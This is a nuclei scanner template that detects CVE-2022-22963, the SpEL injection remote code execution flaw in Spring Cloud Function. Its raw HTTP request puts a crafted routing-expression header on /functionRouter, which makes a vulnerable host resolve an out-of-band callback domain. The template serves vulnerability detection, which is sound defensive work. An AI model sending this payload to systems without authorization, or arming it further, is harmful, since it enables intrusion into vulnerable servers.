nuclei-templates/http/cves/2022/CVE-2022-22963.yaml

54 lines
2.1 KiB
YAML

id: CVE-2022-22963
info:
name: Spring Cloud - Remote Code Execution
author: Mr-xn,Adam Crosser
severity: critical
description: |
Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions are susceptible to remote code execution vulnerabilities. When using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
remediation: |
Apply the latest security patches provided by the Spring Cloud project to mitigate this vulnerability.
reference:
- https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
- https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
- https://tanzu.vmware.com/security/cve-2022-22963
- https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
- https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
- https://nvd.nist.gov/vuln/detail/CVE-2022-22963
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-22963
cwe-id: CWE-94,CWE-917
epss-score: 0.97534
epss-percentile: 0.9999
cpe: cpe:2.3:a:vmware:spring_cloud_function:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: spring_cloud_function
tags: vulhub,cve,cve2022,springcloud,rce,kev
http:
- raw:
- |
POST /functionRouter HTTP/1.1
Host: {{Hostname}}
spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
Content-Type: application/x-www-form-urlencoded
{{rand_base(8)}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
- type: status
status:
- 500
# digest: 4a0a00473045022100db3b933f1c622dd74009493d5c6e4321487372a1e62ddefc27b801ffe3d0058c02207fede0dfeaf9ef01cef0570f3c5f289c8b96bc3f1f1936d900dfa4f34943b46a:922c64590222798bb761d5b6d8e72950